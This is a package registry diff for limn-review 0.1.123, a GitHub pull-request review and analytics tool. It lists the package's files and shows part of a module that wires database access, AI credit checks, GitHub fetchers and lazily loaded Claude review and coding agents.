limn-review 0.1.123
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/LICENSE +110 -0
- package/README.md +133 -0
- package/dist/ai/runtime.js +535 -0
- package/dist/api/plugins/auth.js +169 -0
- package/dist/api/plugins/error-handler.js +114 -0
- package/dist/api/plugins/rate-limit.js +855 -0
- package/dist/api/plugins/security.js +321 -0
- package/dist/api/routes/activity.js +103 -0
- package/dist/api/routes/ai-runtime.js +67 -0
- package/dist/api/routes/auth.js +194 -0
- package/dist/api/routes/billing.js +209 -0
- package/dist/api/routes/bot-triage.js +1289 -0
- package/dist/api/routes/conflicts.js +730 -0
- package/dist/api/routes/contact.js +318 -0
- package/dist/api/routes/daily-brief.js +58 -0
- package/dist/api/routes/flow.js +71 -0
- package/dist/api/routes/health.js +7 -0
- package/dist/api/routes/insights.js +200 -0
- package/dist/api/routes/me.js +458 -0
- package/dist/api/routes/mentions.js +22 -0
- package/dist/api/routes/mergers.js +8 -0
- package/dist/api/routes/ml-labels.js +109 -0
- package/dist/api/routes/open-prs.js +35 -0
- package/dist/api/routes/prs.js +1633 -0
- package/dist/api/routes/reactions.js +217 -0
- package/dist/api/routes/repos.js +563 -0
- package/dist/api/routes/search.js +41 -0
- package/dist/api/routes/threads.js +118 -0
- package/dist/api/routes/timeline.js +150 -0
- package/dist/api/routes/users.js +67 -0
- package/dist/api/routes/webhooks.js +181 -0
- package/dist/api/routes/workspaces.js +322 -0
- package/dist/app.js +274 -0
- package/dist/ascii.js +19 -0
- package/dist/auth/account.js +482 -0
- package/dist/auth/crypto.js +46 -0
- package/dist/bot-triage/resolve.js +59 -0
- package/dist/cli.js +388 -0
- package/dist/coding/activity.js +80 -0
- package/dist/coding/agent.js +288 -0
- package/dist/coding/ai-fix/auto-fix.js +212 -0
- package/dist/coding/ai-fix/manager.js +370 -0
- package/dist/coding/ai-fix/persist.js +213 -0
- package/dist/coding/ai-fix/pr-context.js +58 -0
- package/dist/coding/ai-fix/prompts.js +138 -0
- package/dist/coding/ai-fix/review-seed.js +357 -0
- package/dist/coding/ai-fix/routes.js +425 -0
- package/dist/coding/git-ops.js +321 -0
- package/dist/coding/git.js +184 -0
- package/dist/coding/merge.js +262 -0
- package/dist/coding/safe-path.js +75 -0
- package/dist/coding/schema.js +43 -0
- package/dist/config.js +648 -0
- package/dist/conflict/diff.js +304 -0
- package/dist/conflict/git.js +118 -0
- package/dist/conflict/hash.js +73 -0
- package/dist/conflict/janitor.js +218 -0
- package/dist/conflict/land.js +675 -0
- package/dist/conflict/model-types.js +2 -0
- package/dist/conflict/model.js +1081 -0
- package/dist/conflict/parse.js +142 -0
- package/dist/conflict/seam.js +136 -0
- package/dist/conflict/session.js +532 -0
- package/dist/conflict/suggestion.js +398 -0
- package/dist/conflict/tokens.js +72 -0
- package/dist/data-dir.js +112 -0
- package/dist/db/actor-lanes.js +213 -0
- package/dist/db/automation-ids.js +97 -0
- package/dist/db/automation-output.js +349 -0
- package/dist/db/blast-radius-query.js +36 -0
- package/dist/db/blast-radius.js +226 -0
- package/dist/db/bot-dormancy.js +115 -0
- package/dist/db/bot-overlap.js +579 -0
- package/dist/db/bot-volume.js +722 -0
- package/dist/db/bot-window.js +35 -0
- package/dist/db/branch-queries.js +310 -0
- package/dist/db/change-shape.js +243 -0
- package/dist/db/changepoint.js +75 -0
- package/dist/db/cleanup.js +36 -0
- package/dist/db/client.js +102 -0
- package/dist/db/code-loc.js +388 -0
- package/dist/db/credits.js +79 -0
- package/dist/db/daily-brief.js +406 -0
- package/dist/db/dependency-cards.js +145 -0
- package/dist/db/erase-account.js +255 -0
- package/dist/db/export-account.js +189 -0
- package/dist/db/failing-checks.js +124 -0
- package/dist/db/file-coupling.js +197 -0
- package/dist/db/flow-detail.js +661 -0
- package/dist/db/flow-pointers.js +197 -0
- package/dist/db/flow-settings.js +67 -0
- package/dist/db/forecast.js +114 -0
- package/dist/db/line-overlap.js +81 -0
- package/dist/db/merge-queue.js +189 -0
- package/dist/db/migrate.js +17 -0
- package/dist/db/migrations/0000_purple_ben_grimm.sql +155 -0
- package/dist/db/migrations/0001_colorful_ozymandias.sql +31 -0
- package/dist/db/migrations/0002_famous_sersi.sql +9 -0
- package/dist/db/migrations/0003_clever_shinobi_shaw.sql +3 -0
- package/dist/db/migrations/0004_pale_scalphunter.sql +1 -0
- package/dist/db/migrations/0005_daffy_guardian.sql +2 -0
- package/dist/db/migrations/0006_cute_violations.sql +45 -0
- package/dist/db/migrations/0007_dark_anthem.sql +2 -0
- package/dist/db/migrations/0008_multitenant_accounts.sql +44 -0
- package/dist/db/migrations/0009_lean_bodies.sql +13 -0
- package/dist/db/migrations/0010_lean_bodies_nullable.sql +56 -0
- package/dist/db/migrations/0011_pr_diff_size.sql +10 -0
- package/dist/db/migrations/0012_findings_included_default.sql +7 -0
- package/dist/db/migrations/0013_review_routing.sql +9 -0
- package/dist/db/migrations/0014_account_last_active.sql +6 -0
- package/dist/db/migrations/0015_repos_inbox_watch.sql +9 -0
- package/dist/db/migrations/0016_repo_viewer_permission.sql +7 -0
- package/dist/db/migrations/0017_account_display_name.sql +7 -0
- package/dist/db/migrations/0018_finding_comment_kind.sql +7 -0
- package/dist/db/migrations/0019_finding_file_in_diff.sql +7 -0
- package/dist/db/migrations/0020_claude_review_cost_telemetry.sql +11 -0
- package/dist/db/migrations/0021_account_feed_last_seen.sql +7 -0
- package/dist/db/migrations/0022_ci_status_events.sql +21 -0
- package/dist/db/migrations/0023_ai_usage.sql +21 -0
- package/dist/db/migrations/0024_pr_head_ref_name.sql +6 -0
- package/dist/db/migrations/0025_account_billing.sql +7 -0
- package/dist/db/migrations/0026_ai_credit_allowance.sql +5 -0
- package/dist/db/migrations/0027_user_github_type.sql +6 -0
- package/dist/db/migrations/0028_bot_review_classification.sql +21 -0
- package/dist/db/migrations/0029_bot_mute_rules.sql +19 -0
- package/dist/db/migrations/0030_teams.sql +32 -0
- package/dist/db/migrations/0031_events_pr_idx.sql +7 -0
- package/dist/db/migrations/0032_benchmark_contributions.sql +29 -0
- package/dist/db/migrations/0033_thread_addressed_confidence.sql +9 -0
- package/dist/db/migrations/0034_thread_resolved_at.sql +6 -0
- package/dist/db/migrations/0035_pr_first_review_requested_at.sql +5 -0
- package/dist/db/migrations/0036_search_index.sql +25 -0
- package/dist/db/migrations/0037_author_indexes.sql +15 -0
- package/dist/db/migrations/0038_auto_merge_requests.sql +37 -0
- package/dist/db/migrations/0039_branch_status.sql +44 -0
- package/dist/db/migrations/0040_pr_review_decision.sql +10 -0
- package/dist/db/migrations/0041_branch_commit_detail.sql +38 -0
- package/dist/db/migrations/0042_repo_reviewers.sql +176 -0
- package/dist/db/migrations/0043_account_reviewers.sql +131 -0
- package/dist/db/migrations/0044_workspaces.sql +138 -0
- package/dist/db/migrations/0045_workspace_reviewers.sql +180 -0
- package/dist/db/migrations/0046_drop_inbox_watch.sql +25 -0
- package/dist/db/migrations/0047_ml_comment_labels.sql +40 -0
- package/dist/db/migrations/0048_ml_vendor_severity.sql +31 -0
- package/dist/db/migrations/0049_seat_pricing_repo_description.sql +21 -0
- package/dist/db/migrations/0050_users_app_slug.sql +12 -0
- package/dist/db/migrations/0051_auto_merge_queue.sql +17 -0
- package/dist/db/migrations/0052_trunk_ci_status_events.sql +43 -0
- package/dist/db/migrations/0053_automation_roles.sql +79 -0
- package/dist/db/migrations/0054_automation_vendor_kinds.sql +514 -0
- package/dist/db/migrations/0055_auto_merge_phase.sql +12 -0
- package/dist/db/migrations/0056_pr_mentions.sql +22 -0
- package/dist/db/migrations/0057_large_pr_threshold.sql +14 -0
- package/dist/db/migrations/0058_pending_mute.sql +53 -0
- package/dist/db/migrations/0059_merge_queue_state.sql +33 -0
- package/dist/db/migrations/0060_drop_my_turn_dismissals.sql +33 -0
- package/dist/db/migrations/0061_auto_merge_durable_anchors.sql +27 -0
- package/dist/db/migrations/0062_blast_radius_config.sql +21 -0
- package/dist/db/migrations/0063_repo_file_coupling.sql +33 -0
- package/dist/db/migrations/0064_pr_content_kind.sql +21 -0
- package/dist/db/migrations/0065_workspace_flow_settings.sql +13 -0
- package/dist/db/migrations/0066_review_request_events.sql +31 -0
- package/dist/db/migrations/0067_pr_security_signals.sql +86 -0
- package/dist/db/migrations/0068_my_turn_settings.sql +18 -0
- package/dist/db/migrations/0069_my_turn_dismissals.sql +41 -0
- package/dist/db/migrations/0070_claude_review_follow_up_ticket.sql +22 -0
- package/dist/db/migrations/0071_claude_review_trigger.sql +11 -0
- package/dist/db/migrations/0072_commit_message_headline.sql +13 -0
- package/dist/db/migrations/0073_claude_review_chat.sql +31 -0
- package/dist/db/migrations/0074_adopt_agentic_tables.sql +98 -0
- package/dist/db/migrations/0075_review_lens_drop_learnings.sql +15 -0
- package/dist/db/migrations/0076_claude_review_threads.sql +17 -0
- package/dist/db/migrations/0077_claude_review_ci_failures.sql +10 -0
- package/dist/db/migrations/0078_ai_fix_change_report.sql +17 -0
- package/dist/db/migrations/0079_claude_finding_story.sql +16 -0
- package/dist/db/migrations/meta/0000_snapshot.json +1116 -0
- package/dist/db/migrations/meta/0001_snapshot.json +1321 -0
- package/dist/db/migrations/meta/0002_snapshot.json +1375 -0
- package/dist/db/migrations/meta/0003_snapshot.json +1396 -0
- package/dist/db/migrations/meta/0004_snapshot.json +1416 -0
- package/dist/db/migrations/meta/0005_snapshot.json +1430 -0
- package/dist/db/migrations/meta/0006_snapshot.json +1745 -0
- package/dist/db/migrations/meta/0007_snapshot.json +1759 -0
- package/dist/db/migrations/meta/_journal.json +566 -0
- package/dist/db/migrations-pg/0000_tired_alex_power.sql +268 -0
- package/dist/db/migrations-pg/0001_dizzy_mockingbird.sql +3 -0
- package/dist/db/migrations-pg/0002_glorious_ikaris.sql +4 -0
- package/dist/db/migrations-pg/0003_melted_secret_warriors.sql +2 -0
- package/dist/db/migrations-pg/0004_numerous_triton.sql +1 -0
- package/dist/db/migrations-pg/0005_thick_blockbuster.sql +2 -0
- package/dist/db/migrations-pg/0006_majestic_dracula.sql +1 -0
- package/dist/db/migrations-pg/0007_same_human_torch.sql +2 -0
- package/dist/db/migrations-pg/0008_slimy_toxin.sql +1 -0
- package/dist/db/migrations-pg/0009_fuzzy_jubilee.sql +4 -0
- package/dist/db/migrations-pg/0010_late_hammerhead.sql +1 -0
- package/dist/db/migrations-pg/0011_happy_leech.sql +16 -0
- package/dist/db/migrations-pg/0012_woozy_captain_midlands.sql +16 -0
- package/dist/db/migrations-pg/0013_yielding_nicolaos.sql +1 -0
- package/dist/db/migrations-pg/0014_wakeful_bill_hollister.sql +2 -0
- package/dist/db/migrations-pg/0015_aspiring_black_tom.sql +1 -0
- package/dist/db/migrations-pg/0016_cute_ghost_rider.sql +30 -0
- package/dist/db/migrations-pg/0017_far_changeling.sql +24 -0
- package/dist/db/migrations-pg/0018_fancy_miss_america.sql +1 -0
- package/dist/db/migrations-pg/0019_benchmark_contributions.sql +22 -0
- package/dist/db/migrations-pg/0020_majestic_edwin_jarvis.sql +3 -0
- package/dist/db/migrations-pg/0021_green_salo.sql +1 -0
- package/dist/db/migrations-pg/0022_wise_baron_strucker.sql +1 -0
- package/dist/db/migrations-pg/0023_search_index.sql +19 -0
- package/dist/db/migrations-pg/0024_author_indexes.sql +9 -0
- package/dist/db/migrations-pg/0025_auto_merge_requests.sql +26 -0
- package/dist/db/migrations-pg/0026_branch_status.sql +32 -0
- package/dist/db/migrations-pg/0027_pr_review_decision.sql +5 -0
- package/dist/db/migrations-pg/0028_branch_commit_detail.sql +9 -0
- package/dist/db/migrations-pg/0029_repo_reviewers.sql +127 -0
- package/dist/db/migrations-pg/0030_account_reviewers.sql +77 -0
- package/dist/db/migrations-pg/0031_workspaces.sql +131 -0
- package/dist/db/migrations-pg/0032_workspace_reviewers.sql +165 -0
- package/dist/db/migrations-pg/0033_drop_inbox_watch.sql +14 -0
- package/dist/db/migrations-pg/0034_ml_comment_labels.sql +33 -0
- package/dist/db/migrations-pg/0035_ml_vendor_severity.sql +16 -0
- package/dist/db/migrations-pg/0036_seat_pricing_repo_description.sql +12 -0
- package/dist/db/migrations-pg/0037_users_app_slug.sql +9 -0
- package/dist/db/migrations-pg/0038_auto_merge_queue.sql +10 -0
- package/dist/db/migrations-pg/0039_trunk_ci_status_events.sql +27 -0
- package/dist/db/migrations-pg/0040_automation_roles.sql +63 -0
- package/dist/db/migrations-pg/0041_automation_vendor_kinds.sql +488 -0
- package/dist/db/migrations-pg/0042_auto_merge_phase.sql +8 -0
- package/dist/db/migrations-pg/0043_pr_mentions.sql +19 -0
- package/dist/db/migrations-pg/0044_large_pr_threshold.sql +6 -0
- package/dist/db/migrations-pg/0045_pending_mute.sql +26 -0
- package/dist/db/migrations-pg/0046_merge_queue_state.sql +18 -0
- package/dist/db/migrations-pg/0047_drop_my_turn_dismissals.sql +21 -0
- package/dist/db/migrations-pg/0048_auto_merge_durable_anchors.sql +27 -0
- package/dist/db/migrations-pg/0049_blast_radius_config.sql +8 -0
- package/dist/db/migrations-pg/0050_repo_file_coupling.sql +13 -0
- package/dist/db/migrations-pg/0051_pr_content_kind.sql +6 -0
- package/dist/db/migrations-pg/0052_workspace_flow_settings.sql +4 -0
- package/dist/db/migrations-pg/0053_review_request_events.sql +18 -0
- package/dist/db/migrations-pg/0054_pr_security_signals.sql +59 -0
- package/dist/db/migrations-pg/0055_my_turn_settings.sql +6 -0
- package/dist/db/migrations-pg/0056_my_turn_dismissals.sql +21 -0
- package/dist/db/migrations-pg/0057_claude_review_follow_up_ticket.sql +8 -0
- package/dist/db/migrations-pg/0058_claude_review_trigger.sql +4 -0
- package/dist/db/migrations-pg/0059_commit_message_headline.sql +3 -0
- package/dist/db/migrations-pg/0060_claude_review_chat.sql +24 -0
- package/dist/db/migrations-pg/0061_adopt_agentic_tables.sql +79 -0
- package/dist/db/migrations-pg/0062_review_lens_drop_learnings.sql +5 -0
- package/dist/db/migrations-pg/0063_claude_review_threads.sql +7 -0
- package/dist/db/migrations-pg/0064_claude_review_ci_failures.sql +4 -0
- package/dist/db/migrations-pg/0065_ai_fix_change_report.sql +9 -0
- package/dist/db/migrations-pg/0066_claude_finding_story.sql +7 -0
- package/dist/db/migrations-pg/meta/0000_snapshot.json +2137 -0
- package/dist/db/migrations-pg/meta/0001_snapshot.json +2143 -0
- package/dist/db/migrations-pg/meta/0002_snapshot.json +2170 -0
- package/dist/db/migrations-pg/meta/0003_snapshot.json +2182 -0
- package/dist/db/migrations-pg/meta/0004_snapshot.json +2188 -0
- package/dist/db/migrations-pg/meta/0005_snapshot.json +2201 -0
- package/dist/db/migrations-pg/meta/0006_snapshot.json +2207 -0
- package/dist/db/migrations-pg/meta/0007_snapshot.json +2219 -0
- package/dist/db/migrations-pg/meta/0008_snapshot.json +2226 -0
- package/dist/db/migrations-pg/meta/0009_snapshot.json +2250 -0
- package/dist/db/migrations-pg/meta/0010_snapshot.json +2256 -0
- package/dist/db/migrations-pg/meta/0011_snapshot.json +2412 -0
- package/dist/db/migrations-pg/meta/0012_snapshot.json +2528 -0
- package/dist/db/migrations-pg/meta/0013_snapshot.json +2534 -0
- package/dist/db/migrations-pg/meta/0014_snapshot.json +2547 -0
- package/dist/db/migrations-pg/meta/0015_snapshot.json +2553 -0
- package/dist/db/migrations-pg/meta/0016_snapshot.json +2774 -0
- package/dist/db/migrations-pg/meta/0017_snapshot.json +2999 -0
- package/dist/db/migrations-pg/meta/0018_snapshot.json +3020 -0
- package/dist/db/migrations-pg/meta/0020_snapshot.json +3228 -0
- package/dist/db/migrations-pg/meta/0021_snapshot.json +3234 -0
- package/dist/db/migrations-pg/meta/0022_snapshot.json +3240 -0
- package/dist/db/migrations-pg/meta/_journal.json +475 -0
- package/dist/db/ml-labels.js +1666 -0
- package/dist/db/my-turn-dismissals.js +343 -0
- package/dist/db/my-turn-settings.js +34 -0
- package/dist/db/pending-classify.js +46 -0
- package/dist/db/pending-mute.js +171 -0
- package/dist/db/pending-tabs.js +238 -0
- package/dist/db/period-metrics.js +820 -0
- package/dist/db/person-period.js +763 -0
- package/dist/db/pr-intervals.js +930 -0
- package/dist/db/pr-liveness.js +240 -0
- package/dist/db/pr-mentions.js +279 -0
- package/dist/db/pr-merge-queue-stamp.js +91 -0
- package/dist/db/queries.js +14631 -0
- package/dist/db/reaction-targets.js +94 -0
- package/dist/db/repo-activity.js +171 -0
- package/dist/db/retention.js +138 -0
- package/dist/db/review-threads-for-review.js +240 -0
- package/dist/db/run-migrations.js +24 -0
- package/dist/db/schema.pg.js +1220 -0
- package/dist/db/schema.sqlite.js +1801 -0
- package/dist/db/search.js +317 -0
- package/dist/db/security-alerts.js +218 -0
- package/dist/db/synthesis-input.js +565 -0
- package/dist/db/triage.js +320 -0
- package/dist/db/usage.js +63 -0
- package/dist/db/work-plan.js +1086 -0
- package/dist/db/working-hours.js +161 -0
- package/dist/feed/my-turn.js +122 -0
- package/dist/github/actions-logs.js +397 -0
- package/dist/github/auth.js +86 -0
- package/dist/github/branch-queries.js +229 -0
- package/dist/github/client.js +454 -0
- package/dist/github/codeowners.js +221 -0
- package/dist/github/commit-checks.js +105 -0
- package/dist/github/compare.js +110 -0
- package/dist/github/diff-anchor.js +227 -0
- package/dist/github/mutations.js +706 -0
- package/dist/github/pr-file-content.js +254 -0
- package/dist/github/pr-liveness.js +161 -0
- package/dist/github/queries.js +875 -0
- package/dist/github/rate-budget.js +129 -0
- package/dist/github/reactions.js +161 -0
- package/dist/github/reviewer-suggest.js +104 -0
- package/dist/github/team-reviewers.js +96 -0
- package/dist/index.js +184 -0
- package/dist/merge/auto-merge-runner.js +960 -0
- package/dist/ml/severity-client.js +218 -0
- package/dist/pr/detail-enricher.js +26 -0
- package/dist/pro/bind.js +302 -0
- package/dist/pro/contract.js +37 -0
- package/dist/pro/migrate.js +64 -0
- package/dist/review/agent-context.js +127 -0
- package/dist/review/agent.js +385 -0
- package/dist/review/agentic.js +59 -0
- package/dist/review/auth.js +94 -0
- package/dist/review/chat-agent.js +179 -0
- package/dist/review/claude-review/ai-ready.js +16 -0
- package/dist/review/claude-review/auto-settings.js +139 -0
- package/dist/review/claude-review/auto.js +244 -0
- package/dist/review/claude-review/chat.js +489 -0
- package/dist/review/claude-review/ci-failures.js +350 -0
- package/dist/review/claude-review/follow-up.js +310 -0
- package/dist/review/claude-review/manager.js +686 -0
- package/dist/review/claude-review/persist.js +996 -0
- package/dist/review/claude-review/prompts.js +357 -0
- package/dist/review/claude-review/routes.js +518 -0
- package/dist/review/claude-review/routing.js +61 -0
- package/dist/review/claude-review/specialists.js +190 -0
- package/dist/review/claude-review/threads.js +265 -0
- package/dist/review/claude-review/ticket.js +282 -0
- package/dist/review/clone-hygiene.js +380 -0
- package/dist/review/clone-manager.js +367 -0
- package/dist/review/llm.js +113 -0
- package/dist/review/model-options.js +48 -0
- package/dist/review/plugin-providers.js +12 -0
- package/dist/review/post-review.js +216 -0
- package/dist/review/post-seam.js +161 -0
- package/dist/review/prepare.js +168 -0
- package/dist/review/pricing.js +17 -0
- package/dist/review/schema.js +156 -0
- package/dist/review/submit-map.js +41 -0
- package/dist/review/usage.js +90 -0
- package/dist/shared/claude-review.js +335 -0
- package/dist/shared/conflict-fold.js +151 -0
- package/dist/shared/conflicts.js +30 -0
- package/dist/shared/flow-settings.js +191 -0
- package/dist/shared/index.js +8 -0
- package/dist/shared/my-turn-settings.js +238 -0
- package/dist/shared/pending-rules.js +281 -0
- package/dist/shared/product.js +54 -0
- package/dist/shared/types.js +896 -0
- package/dist/status.js +386 -0
- package/dist/sync/adaptive.js +185 -0
- package/dist/sync/app-attribution.js +66 -0
- package/dist/sync/auth-notices.js +36 -0
- package/dist/sync/backfill-ci-history.js +315 -0
- package/dist/sync/backfill-commit-headlines.js +136 -0
- package/dist/sync/backfill-pr-security.js +175 -0
- package/dist/sync/backfill-review-requests.js +97 -0
- package/dist/sync/benchmark-rollup.js +50 -0
- package/dist/sync/bot-detection.js +309 -0
- package/dist/sync/bot-resolution-markers.js +30 -0
- package/dist/sync/branch-status.js +634 -0
- package/dist/sync/classify-change-shape.js +150 -0
- package/dist/sync/commit-files.js +74 -0
- package/dist/sync/derive-thread-state.js +99 -0
- package/dist/sync/drain-review-threads.js +212 -0
- package/dist/sync/hydrate-detail.js +482 -0
- package/dist/sync/mention-scan.js +89 -0
- package/dist/sync/ml-enrichment.js +478 -0
- package/dist/sync/pr-change-signal.js +96 -0
- package/dist/sync/pr-liveness-sweep.js +139 -0
- package/dist/sync/pr-settle.js +381 -0
- package/dist/sync/refresh-pr.js +163 -0
- package/dist/sync/reparse-vendor-badges.js +495 -0
- package/dist/sync/resync-after-write.js +280 -0
- package/dist/sync/review-fingerprint.js +117 -0
- package/dist/sync/reviewer-behavior.js +103 -0
- package/dist/sync/reviewer-classify.js +503 -0
- package/dist/sync/routing-files.js +97 -0
- package/dist/sync/scheduled-jobs.js +12 -0
- package/dist/sync/scheduler.js +159 -0
- package/dist/sync/security-detect.js +521 -0
- package/dist/sync/sync-manager.js +750 -0
- package/dist/sync/sync-one-pr.js +205 -0
- package/dist/sync/sync-repo.js +400 -0
- package/dist/sync/unsettled-prs.js +506 -0
- package/dist/sync/upsert.js +1190 -0
- package/package.json +56 -0
- package/public/apple-touch-icon.png +0 -0
- package/public/assets/AiFixTab-CQP6PT5u.js +2 -0
- package/public/assets/ClaudeReviewTab-DQJ-58ZA.js +8 -0
- package/public/assets/PrBotBehaviourTab-CCnFrWbC.js +1 -0
- package/public/assets/archivo-latin-600-BN-JkNrl.woff2 +0 -0
- package/public/assets/highlight-BEHUn5zE.css +10 -0
- package/public/assets/highlight-CIIZLa6Z.js +12 -0
- package/public/assets/index-BDnYs6zg.js +73 -0
- package/public/assets/index-mCuI--RC.css +1 -0
- package/public/assets/markdown-I_JLLVAZ.js +32 -0
- package/public/assets/perfProbe-Da13EhTE.js +1 -0
- package/public/assets/tanstack-5qsxxaLe.js +17 -0
- package/public/assets/vis-C3BCkP5U.js +1280 -0
- package/public/assets/vis-ziCVehMy.css +1 -0
- package/public/favicon-16.png +0 -0
- package/public/favicon-32.png +0 -0
- package/public/favicon-48.png +0 -0
- package/public/favicon.svg +5 -0
- package/public/index.html +41 -0
- package/public-landing/apple-touch-icon.png +0 -0
- package/public-landing/assets/archivo-latin-500-BWmvx2Mg.woff2 +0 -0
- package/public-landing/assets/archivo-latin-600-BN-JkNrl.woff2 +0 -0
- package/public-landing/assets/index-CA3eEGXO.js +40 -0
- package/public-landing/assets/index-naQrQ6Fe.css +1 -0
- package/public-landing/assets/jetbrains-mono-latin-400-RruCX7RW.woff2 +0 -0
- package/public-landing/assets/newsreader-latin-400-DExrRRrN.woff2 +0 -0
- package/public-landing/assets/newsreader-latin-400-italic-b0I-AwbV.woff2 +0 -0
- package/public-landing/bots/index.html +156 -0
- package/public-landing/contact/index.html +156 -0
- package/public-landing/cookies/index.html +156 -0
- package/public-landing/demo/limn-walkthrough-poster.jpg +0 -0
- package/public-landing/demo/limn-walkthrough.cues.json +44 -0
- package/public-landing/demo/limn-walkthrough.mp4 +0 -0
- package/public-landing/favicon-16.png +0 -0
- package/public-landing/favicon-32.png +0 -0
- package/public-landing/favicon-48.png +0 -0
- package/public-landing/favicon.svg +5 -0
- package/public-landing/features/index.html +156 -0
- package/public-landing/for-developers/index.html +156 -0
- package/public-landing/for-managers/index.html +156 -0
- package/public-landing/how-it-works/index.html +156 -0
- package/public-landing/how-we-measure/index.html +156 -0
- package/public-landing/icon-192.png +0 -0
- package/public-landing/icon-512.png +0 -0
- package/public-landing/index.html +156 -0
- package/public-landing/insights/index.html +156 -0
- package/public-landing/og-image.png +0 -0
- package/public-landing/pricing/index.html +156 -0
- package/public-landing/privacy/index.html +156 -0
- package/public-landing/pro/index.html +156 -0
- package/public-landing/reviews/index.html +156 -0
- package/public-landing/robots.txt +8 -0
- package/public-landing/shots/benchmark.png +0 -0
- package/public-landing/shots/bot-roi.png +0 -0
- package/public-landing/shots/bot-settings.png +0 -0
- package/public-landing/shots/chronology.png +0 -0
- package/public-landing/shots/feed.png +0 -0
- package/public-landing/shots/flow-metrics.png +0 -0
- package/public-landing/shots/free-reports.png +0 -0
- package/public-landing/shots/pending-board.png +0 -0
- package/public-landing/shots/pending-card.png +0 -0
- package/public-landing/shots/period-report.png +0 -0
- package/public-landing/shots/pr-detail.png +0 -0
- package/public-landing/shots/pr-threads.png +0 -0
- package/public-landing/shots/reach.png +0 -0
- package/public-landing/shots/repo-rows.png +0 -0
- package/public-landing/shots/severity-findings.png +0 -0
- package/public-landing/shots/severity-strip.png +0 -0
- package/public-landing/site.webmanifest +14 -0
- package/public-landing/sitemap.xml +51 -0
- package/public-landing/terms/index.html +156 -0
|
@@ -0,0 +1,127 @@
|
|
|
1
|
+
import { config } from '../config.js';
|
|
2
|
+
import { accountIdOf } from '../api/plugins/auth.js';
|
|
3
|
+
import { db, schema, runTransaction, isPg } from '../db/client.js';
|
|
4
|
+
import * as hostQueries from '../db/queries.js';
|
|
5
|
+
import { recordAiUsage } from '../db/usage.js';
|
|
6
|
+
import { aiCreditStatus } from '../db/credits.js';
|
|
7
|
+
import { getAccessToken, getAccountById } from '../auth/account.js';
|
|
8
|
+
import { fetchPrHeadInfo, fetchPrUnifiedDiff } from '../github/mutations.js';
|
|
9
|
+
import { fetchCompareDiff } from '../github/compare.js';
|
|
10
|
+
import { fetchActionsJobLog } from '../github/actions-logs.js';
|
|
11
|
+
import { fetchActionsJobFailedStep, fetchCommitChecks, } from '../github/commit-checks.js';
|
|
12
|
+
import { fetchReviewCommentHunks } from '../sync/hydrate-detail.js';
|
|
13
|
+
import { applyAndPush } from '../coding/git-ops.js';
|
|
14
|
+
import { registerScheduledJob } from '../sync/scheduled-jobs.js';
|
|
15
|
+
import { detectClaudeAuth } from './auth.js';
|
|
16
|
+
import { loadReviewThreadsForReview, } from '../db/review-threads-for-review.js';
|
|
17
|
+
export function buildAgentContext(log) {
|
|
18
|
+
return {
|
|
19
|
+
log,
|
|
20
|
+
host: { isCloud: config.isCloud },
|
|
21
|
+
accountIdOf,
|
|
22
|
+
db,
|
|
23
|
+
schema: schema,
|
|
24
|
+
runTransaction,
|
|
25
|
+
isPg,
|
|
26
|
+
llm: {
|
|
27
|
+
detectAuth: () => {
|
|
28
|
+
const r = detectClaudeAuth();
|
|
29
|
+
return r.status === 'ok' ? { status: 'ok' } : { status: 'none', message: r.message };
|
|
30
|
+
},
|
|
31
|
+
},
|
|
32
|
+
aiCredits: {
|
|
33
|
+
check: async (accountId) => {
|
|
34
|
+
const account = await getAccountById(accountId);
|
|
35
|
+
// Fail closed on a missing account (never happens for a live request).
|
|
36
|
+
if (!account)
|
|
37
|
+
return {
|
|
38
|
+
summaryTurnsUsed: 0,
|
|
39
|
+
summaryTurnLimit: 0,
|
|
40
|
+
summaryTurnsRemaining: 0,
|
|
41
|
+
summaryBlocked: true,
|
|
42
|
+
agentCreditsUsed: 0,
|
|
43
|
+
agentAllowanceCredits: 0,
|
|
44
|
+
agentCreditsRemaining: 0,
|
|
45
|
+
agentBlocked: true,
|
|
46
|
+
blocked: true,
|
|
47
|
+
};
|
|
48
|
+
// Local accounts are UNMETERED (null limits → never blocked). The ledger still records
|
|
49
|
+
// spend for the local usage display; it is the user's own money, not ours.
|
|
50
|
+
return aiCreditStatus(account, Date.now());
|
|
51
|
+
},
|
|
52
|
+
},
|
|
53
|
+
recordAiUsage: (row) => recordAiUsage(row),
|
|
54
|
+
github: {
|
|
55
|
+
fetchPrDiff: async (accountId, owner, name, number) => fetchPrUnifiedDiff(await getAccessToken(accountId), owner, name, number),
|
|
56
|
+
fetchPrHeadInfo: async (accountId, owner, name, number) => fetchPrHeadInfo(await getAccessToken(accountId), owner, name, number),
|
|
57
|
+
// `accountId` passed THROUGH so a rate-limited compare feeds that account's budget. Never
|
|
58
|
+
// throws (github/compare.ts).
|
|
59
|
+
fetchCompareDiff: async (accountId, a) => fetchCompareDiff(await getAccessToken(accountId), { ...a, accountId }),
|
|
60
|
+
// Never throws: the token is resolved inside the fetcher's own try.
|
|
61
|
+
fetchReviewCommentHunks: (accountId, a) => fetchReviewCommentHunks(accountId, a.owner, a.name, a.prNumber, {
|
|
62
|
+
maxHunkChars: a.maxHunkChars,
|
|
63
|
+
}),
|
|
64
|
+
},
|
|
65
|
+
coding: {
|
|
66
|
+
// Lazy: coding/agent.ts pulls in the Claude Agent SDK.
|
|
67
|
+
generateFix: async (fixArgs) => (await import('../coding/agent.js')).runCodingAgent(fixArgs),
|
|
68
|
+
applyAndPush: (pushArgs) => applyAndPush(pushArgs),
|
|
69
|
+
},
|
|
70
|
+
review: {
|
|
71
|
+
prepareReview: async (a) => (await import('./prepare.js')).prepareReview(a),
|
|
72
|
+
runReview: async (a) => (await import('./agent.js')).runReview(a),
|
|
73
|
+
postReview: async (a) => (await import('./post-seam.js')).postReview(a),
|
|
74
|
+
postFinding: async (a) => (await import('./post-seam.js')).postFinding(a),
|
|
75
|
+
chat: async (a) => (await import('./chat-agent.js')).runReviewChat(a),
|
|
76
|
+
},
|
|
77
|
+
queries: {
|
|
78
|
+
getAutoReviewCandidates: (accountId, workspaceId, opts) => hostQueries.getAutoReviewCandidates(accountId, workspaceId, opts),
|
|
79
|
+
// `newestCommentAt` (→ comments_through) counts only the authors who may re-trigger an auto
|
|
80
|
+
// review — the SAME filter the candidate read uses, so seen and new cannot disagree.
|
|
81
|
+
loadReviewThreads: async (accountId, prId) => loadReviewThreadsForReview(accountId, prId, await hostQueries.reReviewCommentAuthorFilterForPr(accountId, prId)),
|
|
82
|
+
},
|
|
